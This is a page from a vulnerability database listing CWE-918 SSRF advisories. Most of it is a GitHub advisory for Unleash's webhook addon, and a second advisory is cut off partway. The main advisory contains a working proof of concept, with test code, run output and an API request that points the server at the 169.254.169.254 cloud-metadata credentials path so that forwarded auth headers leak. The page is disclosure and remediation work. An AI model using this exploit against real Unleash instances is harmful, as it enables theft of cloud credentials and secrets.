CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5876 vulnerabilities reference this CWE, most recent first.
GHSA-5VF6-JRQR-78FJ
Vulnerability from github – Published: 2026-08-21 19:14 – Updated: 2026-08-21 19:14Summary
Unleash's addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target url parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon's parameters.url and passed straight to the HTTP client (ky) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL — for example http://169.254.169.254/latest/meta-data/… (cloud IMDS), http://127.0.0.1:<port>/… (a service bound to localhost), or any RFC1918 host — and cause the Unleash server to dial it from inside the trust boundary.
The request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured Authorization header and arbitrary customHeaders to whatever host the url points at (Datadog forwards DD-API-KEY), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.
Creating/updating addons is gated by the root permissions CREATE_ADDON / UPDATE_ADDON. These are not the super-admin ADMIN permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.
Affected code (v8.0.0)
The base addon issues the outbound request with the raw URL and no host checks (src/lib/addons/addon.ts):
async fetchRetry(
url: string,
options: any = {},
retries: number = 1,
): Promise<Response> {
try {
const res = await ky(url, { // <-- attacker-controlled `url`, no allow/deny-list, no internal-IP block
retry: retries,
...options,
});
return res;
} catch (e) {
const { method } = options;
this.logger.warn(`Error querying ${url} ...`, e);
return { status: e.code, ok: false } as Response;
}
}
The webhook provider passes the operator-supplied parameters.url (and forwards authorization + customHeaders) directly into that sink (src/lib/addons/webhook.ts):
const { url, bodyTemplate, contentType = 'application/json', authorization, customHeaders } = parameters;
// ...
const requestOpts = {
method: 'POST',
headers: {
'Content-Type': contentType,
Authorization: authorization || undefined, // <-- configured secret forwarded to `url`
...extraHeaders, // <-- arbitrary customHeaders forwarded to `url`
},
body,
};
const res = await this.fetchRetry(url, requestOpts); // <-- server dials attacker-chosen host
The service layer performs no URL/host validation when creating or updating an addon — only provider-name and required-parameter presence checks run (src/lib/services/addon-service.ts → validateKnownProvider, validateRequiredParameters). The addon parameter schema (src/lib/services/addon-schema.ts) treats url as a free-form string; the type: 'url' field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of src/lib/addons and addon-service.ts for 169.254, 127.0, localhost, private, ssrf, isAllowed, validateUrl returns zero guards. The same unguarded fetchRetry(url, …) sink backs the Slack, Teams, Datadog, and New Relic providers.
The route gate (src/lib/routes/admin-api/addon.ts) requires the root permission CREATE_ADDON (create) / UPDATE_ADDON (update); src/lib/types/permissions.ts lists both under the root "Integration" category — they are root permissions, not project-scoped, and distinct from ADMIN.
Attacker model / precondition
The attacker is an authenticated Unleash user (or an admin API token) holding the root permission CREATE_ADDON or UPDATE_ADDON. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with parameters.url set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag — trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.
Impact
The Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter — i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (169.254.169.254) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured Authorization header and any customHeaders (and, for the Datadog provider, the DD-API-KEY) to the attacker-chosen host, since those headers are sent to whatever url is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority — the internal network / metadata service.
Proof of Concept (complete — runs on 127.0.0.1 only)
This PoC drives the real WebhookAddon.handleEvent from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured Authorization and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy — internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.
Setup
# In a throwaway clone of the target at the exact tag:
git clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash
cd unleash
# Install JS deps (no database is needed for this PoC):
corepack pnpm install --prefer-offline
File 1 — vitest.poc.config.ts (project root)
The repo's default vitest config has a Postgres globalSetup; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.
import { defineConfig, configDefaults } from 'vitest/config';
// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup,
// because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed).
export default defineConfig({
test: {
globals: true,
setupFiles: ['./src/test/errorWithMessage.ts'],
testTimeout: 30000,
exclude: [...configDefaults.exclude, 'frontend/**', 'dist/**'],
environment: 'node',
},
});
File 2 — src/lib/addons/ssrf-poc.test.ts
// PoC: SSRF via Webhook addon — Unleash v8.0.0
// Drives the REAL WebhookAddon.handleEvent with an attacker-chosen `url`
// pointing at a loopback/RFC1918 listener; proves the Unleash process dials
// the internal URL with NO host/IP filtering. Lab-only (127.0.0.1).
import { FEATURE_CREATED, type IEvent } from '../events/index.js';
import WebhookAddon from './webhook.js';
import noLogger from '../../test/fixtures/no-logger.js';
import {
type IAddonConfig,
type IFlagKey,
type IFlagResolver,
SYSTEM_USER_ID,
} from '../types/index.js';
import type { IntegrationEventsService } from '../services/index.js';
import { vi } from 'vitest';
import EventEmitter from 'node:events';
import http from 'node:http';
import { AddressInfo } from 'node:net';
const INTEGRATION_ID = 1337;
const setup = () => {
const registerEventMock = vi.fn();
const addonConfig: IAddonConfig = {
getLogger: noLogger,
unleashUrl: 'http://some-url.com',
integrationEventsService: {
registerEvent: registerEventMock,
} as unknown as IntegrationEventsService,
flagResolver: {
isEnabled: (_expName: IFlagKey) => false,
} as IFlagResolver,
eventBus: new EventEmitter(),
};
return { addon: new WebhookAddon(addonConfig), registerEventMock };
};
const sampleEvent: IEvent = {
id: 1,
createdAt: new Date(),
createdByUserId: SYSTEM_USER_ID,
type: FEATURE_CREATED,
createdBy: 'attacker@evil.com',
featureName: 'some-toggle',
data: { name: 'some-toggle' },
tags: [],
project: 'default',
environment: 'production',
};
// Stand up a fake "internal service" on loopback that records what reached it.
function startInternalListener(): Promise<{
url: string;
hits: Array<{ path: string; auth?: string; secret?: string; body: string }>;
close: () => Promise<void>;
}> {
const hits: Array<{
path: string;
auth?: string;
secret?: string;
body: string;
}> = [];
return new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (c) => (body += c));
req.on('end', () => {
hits.push({
path: req.url || '',
auth: req.headers['authorization'] as string | undefined,
secret: req.headers['x-internal-secret'] as
| string
| undefined,
body,
});
// emulate a cloud metadata / internal endpoint reply
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('iam-role-credentials-here');
});
});
server.listen(0, '127.0.0.1', () => {
const { port } = server.address() as AddressInfo;
resolve({
url: `http://127.0.0.1:${port}`,
hits,
close: () =>
new Promise((r) => server.close(() => r(undefined))),
});
});
});
}
describe('SSRF via Webhook addon (Unleash v8.0.0)', () => {
test('server dials an attacker-chosen INTERNAL url with NO filtering', async () => {
const internal = await startInternalListener();
try {
const { addon, registerEventMock } = setup();
// The `url` below is exactly what an operator/role-holder supplies
// as the addon `parameters.url`. It is an internal loopback target;
// a real attacker would use http://169.254.169.254/latest/... or an
// internal service. There is NO allow/deny-list in the addon path.
await addon.handleEvent(
sampleEvent,
{
url: `${internal.url}/latest/meta-data/iam/security-credentials/`,
// operator-configured secrets get forwarded to the chosen host:
authorization: 'Bearer operator-webhook-secret',
customHeaders: JSON.stringify({
'X-Internal-Secret': 'leaked-to-internal-host',
}),
},
INTEGRATION_ID,
);
// PROOF 1: the Unleash process actually connected to the internal URL.
expect(internal.hits.length).toBe(1);
expect(internal.hits[0].path).toBe(
'/latest/meta-data/iam/security-credentials/',
);
// PROOF 2: operator-configured credentials were exfiltrated to the
// attacker-chosen internal host (header leakage).
expect(internal.hits[0].auth).toBe('Bearer operator-webhook-secret');
expect(internal.hits[0].secret).toBe('leaked-to-internal-host');
// PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF).
const recorded = registerEventMock.mock.calls[0][0];
expect(recorded.state).toBe('success');
expect(recorded.details.url).toContain('127.0.0.1');
// eslint-disable-next-line no-console
console.log(
'[PoC] SSRF confirmed -> internal hit:',
JSON.stringify(internal.hits[0]),
);
} finally {
await internal.close();
}
});
test('NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard', async () => {
const { addon, registerEventMock } = setup();
// Point at a closed loopback port. If a real SSRF allow/deny-list existed,
// the addon would refuse internal targets BEFORE dialing. Instead it dials
// and only fails at the TCP layer -> proves absence of any URL guard.
await addon.handleEvent(
sampleEvent,
{ url: 'http://127.0.0.1:1/" ' },
INTEGRATION_ID,
);
const recorded = registerEventMock.mock.calls[0][0];
// It attempted the request (state failed due to connection error), it was
// NOT blocked by a policy. The recorded url is the internal target.
expect(['failed', 'success']).toContain(recorded.state);
expect(recorded.details.url).toContain('127.0.0.1');
});
});
Run
npx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts
Observed output (real run against v8.0.0)
RUN v4.1.5
stdout | src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering
[PoC] SSRF confirmed -> internal hit: {"path":"/latest/meta-data/iam/security-credentials/","auth":"Bearer operator-webhook-secret","secret":"leaked-to-internal-host","body":"{\"id\":1, ... \"type\":\"feature-created\", ... }"}
✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering
✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard
Test Files 1 passed (1)
Tests 2 passed (2)
The internal loopback listener received the request (path = the metadata path), with the configured Authorization: Bearer operator-webhook-secret and X-Internal-Secret: leaked-to-internal-host headers, and the addon recorded the call as a success — confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: POST /api/admin/addons with { "provider":"webhook", "enabled":true, "events":["feature-created"], "parameters":{ "url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/", "authorization":"…" } } (requires CREATE_ADDON), then create any feature flag to trigger the outbound request.
Remediation
Validate the addon url server-side before it is ever dialed, both at create/update time (addon-service.ts) and again at request time (addon.ts fetchRetry). Specifically: require http/https only; resolve the hostname and reject the request if any resolved address is loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10, including the 169.254.169.254/fd00:ec2::254 metadata addresses), private (10/8, 172.16/12, 192.168/16, fc00::/7), or otherwise non-public — using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a 30x cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on Addon.fetchRetry (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured Authorization/customHeaders to non-allow-listed hosts to contain credential leakage.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "7.6.0"
},
{
"fixed": "7.6.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63004"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T19:14:45Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nUnleash\u0027s addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target `url` parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon\u0027s `parameters.url` and passed straight to the HTTP client (`ky`) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL \u2014 for example `http://169.254.169.254/latest/meta-data/\u2026` (cloud IMDS), `http://127.0.0.1:\u003cport\u003e/\u2026` (a service bound to localhost), or any RFC1918 host \u2014 and cause the Unleash server to dial it from inside the trust boundary.\n\nThe request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured `Authorization` header and arbitrary `customHeaders` to whatever host the `url` points at (Datadog forwards `DD-API-KEY`), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.\n\nCreating/updating addons is gated by the root permissions `CREATE_ADDON` / `UPDATE_ADDON`. These are not the super-admin `ADMIN` permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.\n\n## Affected code (v8.0.0)\n\nThe base addon issues the outbound request with the raw URL and no host checks (`src/lib/addons/addon.ts`):\n\n```ts\nasync fetchRetry(\n url: string,\n options: any = {},\n retries: number = 1,\n): Promise\u003cResponse\u003e {\n try {\n const res = await ky(url, { // \u003c-- attacker-controlled `url`, no allow/deny-list, no internal-IP block\n retry: retries,\n ...options,\n });\n return res;\n } catch (e) {\n const { method } = options;\n this.logger.warn(`Error querying ${url} ...`, e);\n return { status: e.code, ok: false } as Response;\n }\n}\n```\n\nThe webhook provider passes the operator-supplied `parameters.url` (and forwards `authorization` + `customHeaders`) directly into that sink (`src/lib/addons/webhook.ts`):\n\n```ts\nconst { url, bodyTemplate, contentType = \u0027application/json\u0027, authorization, customHeaders } = parameters;\n// ...\nconst requestOpts = {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: contentType,\n Authorization: authorization || undefined, // \u003c-- configured secret forwarded to `url`\n ...extraHeaders, // \u003c-- arbitrary customHeaders forwarded to `url`\n },\n body,\n};\nconst res = await this.fetchRetry(url, requestOpts); // \u003c-- server dials attacker-chosen host\n```\n\nThe service layer performs no URL/host validation when creating or updating an addon \u2014 only provider-name and required-parameter presence checks run (`src/lib/services/addon-service.ts` \u2192 `validateKnownProvider`, `validateRequiredParameters`). The addon parameter schema (`src/lib/services/addon-schema.ts`) treats `url` as a free-form string; the `type: \u0027url\u0027` field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of `src/lib/addons` and `addon-service.ts` for `169.254`, `127.0`, `localhost`, `private`, `ssrf`, `isAllowed`, `validateUrl` returns zero guards. The same unguarded `fetchRetry(url, \u2026)` sink backs the Slack, Teams, Datadog, and New Relic providers.\n\nThe route gate (`src/lib/routes/admin-api/addon.ts`) requires the root permission `CREATE_ADDON` (create) / `UPDATE_ADDON` (update); `src/lib/types/permissions.ts` lists both under the root \"Integration\" category \u2014 they are root permissions, not project-scoped, and distinct from `ADMIN`.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user (or an admin API token) holding the root permission `CREATE_ADDON` or `UPDATE_ADDON`. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with `parameters.url` set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag \u2014 trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.\n\n## Impact\n\nThe Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter \u2014 i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (`169.254.169.254`) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured `Authorization` header and any `customHeaders` (and, for the Datadog provider, the `DD-API-KEY`) to the attacker-chosen host, since those headers are sent to whatever `url` is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority \u2014 the internal network / metadata service.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nThis PoC drives the **real** `WebhookAddon.handleEvent` from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured `Authorization` and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy \u2014 internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.\n\n### Setup\n\n```bash\n# In a throwaway clone of the target at the exact tag:\ngit clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash\ncd unleash\n# Install JS deps (no database is needed for this PoC):\ncorepack pnpm install --prefer-offline\n```\n\n### File 1 \u2014 `vitest.poc.config.ts` (project root)\n\nThe repo\u0027s default vitest config has a Postgres `globalSetup`; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.\n\n```ts\nimport { defineConfig, configDefaults } from \u0027vitest/config\u0027;\n\n// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup,\n// because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed).\nexport default defineConfig({\n test: {\n globals: true,\n setupFiles: [\u0027./src/test/errorWithMessage.ts\u0027],\n testTimeout: 30000,\n exclude: [...configDefaults.exclude, \u0027frontend/**\u0027, \u0027dist/**\u0027],\n environment: \u0027node\u0027,\n },\n});\n```\n\n### File 2 \u2014 `src/lib/addons/ssrf-poc.test.ts`\n\n```ts\n// PoC: SSRF via Webhook addon \u2014 Unleash v8.0.0\n// Drives the REAL WebhookAddon.handleEvent with an attacker-chosen `url`\n// pointing at a loopback/RFC1918 listener; proves the Unleash process dials\n// the internal URL with NO host/IP filtering. Lab-only (127.0.0.1).\nimport { FEATURE_CREATED, type IEvent } from \u0027../events/index.js\u0027;\nimport WebhookAddon from \u0027./webhook.js\u0027;\nimport noLogger from \u0027../../test/fixtures/no-logger.js\u0027;\nimport {\n type IAddonConfig,\n type IFlagKey,\n type IFlagResolver,\n SYSTEM_USER_ID,\n} from \u0027../types/index.js\u0027;\nimport type { IntegrationEventsService } from \u0027../services/index.js\u0027;\nimport { vi } from \u0027vitest\u0027;\nimport EventEmitter from \u0027node:events\u0027;\nimport http from \u0027node:http\u0027;\nimport { AddressInfo } from \u0027node:net\u0027;\n\nconst INTEGRATION_ID = 1337;\n\nconst setup = () =\u003e {\n const registerEventMock = vi.fn();\n const addonConfig: IAddonConfig = {\n getLogger: noLogger,\n unleashUrl: \u0027http://some-url.com\u0027,\n integrationEventsService: {\n registerEvent: registerEventMock,\n } as unknown as IntegrationEventsService,\n flagResolver: {\n isEnabled: (_expName: IFlagKey) =\u003e false,\n } as IFlagResolver,\n eventBus: new EventEmitter(),\n };\n return { addon: new WebhookAddon(addonConfig), registerEventMock };\n};\n\nconst sampleEvent: IEvent = {\n id: 1,\n createdAt: new Date(),\n createdByUserId: SYSTEM_USER_ID,\n type: FEATURE_CREATED,\n createdBy: \u0027attacker@evil.com\u0027,\n featureName: \u0027some-toggle\u0027,\n data: { name: \u0027some-toggle\u0027 },\n tags: [],\n project: \u0027default\u0027,\n environment: \u0027production\u0027,\n};\n\n// Stand up a fake \"internal service\" on loopback that records what reached it.\nfunction startInternalListener(): Promise\u003c{\n url: string;\n hits: Array\u003c{ path: string; auth?: string; secret?: string; body: string }\u003e;\n close: () =\u003e Promise\u003cvoid\u003e;\n}\u003e {\n const hits: Array\u003c{\n path: string;\n auth?: string;\n secret?: string;\n body: string;\n }\u003e = [];\n return new Promise((resolve) =\u003e {\n const server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (c) =\u003e (body += c));\n req.on(\u0027end\u0027, () =\u003e {\n hits.push({\n path: req.url || \u0027\u0027,\n auth: req.headers[\u0027authorization\u0027] as string | undefined,\n secret: req.headers[\u0027x-internal-secret\u0027] as\n | string\n | undefined,\n body,\n });\n // emulate a cloud metadata / internal endpoint reply\n res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n res.end(\u0027iam-role-credentials-here\u0027);\n });\n });\n server.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const { port } = server.address() as AddressInfo;\n resolve({\n url: `http://127.0.0.1:${port}`,\n hits,\n close: () =\u003e\n new Promise((r) =\u003e server.close(() =\u003e r(undefined))),\n });\n });\n });\n}\n\ndescribe(\u0027SSRF via Webhook addon (Unleash v8.0.0)\u0027, () =\u003e {\n test(\u0027server dials an attacker-chosen INTERNAL url with NO filtering\u0027, async () =\u003e {\n const internal = await startInternalListener();\n try {\n const { addon, registerEventMock } = setup();\n\n // The `url` below is exactly what an operator/role-holder supplies\n // as the addon `parameters.url`. It is an internal loopback target;\n // a real attacker would use http://169.254.169.254/latest/... or an\n // internal service. There is NO allow/deny-list in the addon path.\n await addon.handleEvent(\n sampleEvent,\n {\n url: `${internal.url}/latest/meta-data/iam/security-credentials/`,\n // operator-configured secrets get forwarded to the chosen host:\n authorization: \u0027Bearer operator-webhook-secret\u0027,\n customHeaders: JSON.stringify({\n \u0027X-Internal-Secret\u0027: \u0027leaked-to-internal-host\u0027,\n }),\n },\n INTEGRATION_ID,\n );\n\n // PROOF 1: the Unleash process actually connected to the internal URL.\n expect(internal.hits.length).toBe(1);\n expect(internal.hits[0].path).toBe(\n \u0027/latest/meta-data/iam/security-credentials/\u0027,\n );\n // PROOF 2: operator-configured credentials were exfiltrated to the\n // attacker-chosen internal host (header leakage).\n expect(internal.hits[0].auth).toBe(\u0027Bearer operator-webhook-secret\u0027);\n expect(internal.hits[0].secret).toBe(\u0027leaked-to-internal-host\u0027);\n // PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF).\n const recorded = registerEventMock.mock.calls[0][0];\n expect(recorded.state).toBe(\u0027success\u0027);\n expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n\n // eslint-disable-next-line no-console\n console.log(\n \u0027[PoC] SSRF confirmed -\u003e internal hit:\u0027,\n JSON.stringify(internal.hits[0]),\n );\n } finally {\n await internal.close();\n }\n });\n\n test(\u0027NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\u0027, async () =\u003e {\n const { addon, registerEventMock } = setup();\n // Point at a closed loopback port. If a real SSRF allow/deny-list existed,\n // the addon would refuse internal targets BEFORE dialing. Instead it dials\n // and only fails at the TCP layer -\u003e proves absence of any URL guard.\n await addon.handleEvent(\n sampleEvent,\n { url: \u0027http://127.0.0.1:1/\" \u0027 },\n INTEGRATION_ID,\n );\n const recorded = registerEventMock.mock.calls[0][0];\n // It attempted the request (state failed due to connection error), it was\n // NOT blocked by a policy. The recorded url is the internal target.\n expect([\u0027failed\u0027, \u0027success\u0027]).toContain(recorded.state);\n expect(recorded.details.url).toContain(\u0027127.0.0.1\u0027);\n });\n});\n```\n\n### Run\n\n```bash\nnpx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts\n```\n\n### Observed output (real run against v8.0.0)\n\n```\n RUN v4.1.5\n\nstdout | src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n[PoC] SSRF confirmed -\u003e internal hit: {\"path\":\"/latest/meta-data/iam/security-credentials/\",\"auth\":\"Bearer operator-webhook-secret\",\"secret\":\"leaked-to-internal-host\",\"body\":\"{\\\"id\\\":1, ... \\\"type\\\":\\\"feature-created\\\", ... }\"}\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e server dials an attacker-chosen INTERNAL url with NO filtering\n \u2713 src/lib/addons/ssrf-poc.test.ts \u003e SSRF via Webhook addon (Unleash v8.0.0) \u003e NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard\n\n Test Files 1 passed (1)\n Tests 2 passed (2)\n```\n\nThe internal loopback listener received the request (`path` = the metadata path), with the configured `Authorization: Bearer operator-webhook-secret` and `X-Internal-Secret: leaked-to-internal-host` headers, and the addon recorded the call as a success \u2014 confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: `POST /api/admin/addons` with `{ \"provider\":\"webhook\", \"enabled\":true, \"events\":[\"feature-created\"], \"parameters\":{ \"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\", \"authorization\":\"\u2026\" } }` (requires `CREATE_ADDON`), then create any feature flag to trigger the outbound request.\n\n## Remediation\n\nValidate the addon `url` server-side before it is ever dialed, both at create/update time (`addon-service.ts`) and again at request time (`addon.ts` `fetchRetry`). Specifically: require `http`/`https` only; resolve the hostname and reject the request if any resolved address is loopback (`127.0.0.0/8`, `::1`), link-local (`169.254.0.0/16`, `fe80::/10`, including the `169.254.169.254`/`fd00:ec2::254` metadata addresses), private (`10/8`, `172.16/12`, `192.168/16`, `fc00::/7`), or otherwise non-public \u2014 using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a `30x` cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on `Addon.fetchRetry` (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured `Authorization`/`customHeaders` to non-allow-listed hosts to contain credential leakage.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-5vf6-jrqr-78fj",
"modified": "2026-08-21T19:14:45Z",
"published": "2026-08-21T19:14:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5vf6-jrqr-78fj"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/2100db76af3473f13e6fb40096cf17a9c2b741a1"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/d45f99df924c0d24747b3e45e46fcda7dcd3c1c1"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/commit/d862562a5ab8f2d1e40f6519c64cf0b4fdaf806d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unleash/unleash"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v7.5.2"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v7.6.5"
},
{
"type": "WEB",
"url": "https://github.com/Unleash/unleash/releases/tag/v8.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unleash: Addon webhook URL is dialed server-side with no internal-address filtering, enabling SSRF to internal services / cloud metadata and exfiltration of configured request headers"
}
GHSA-5VF8-PP4V-CCV9
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.
{
"affected": [],
"aliases": [
"CVE-2025-29453"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:14Z",
"severity": "MODERATE"
},
"details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the my-contacts-settings component.",
"id": "GHSA-5vf8-pp4v-ccv9",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29453"
},
{
"type": "WEB",
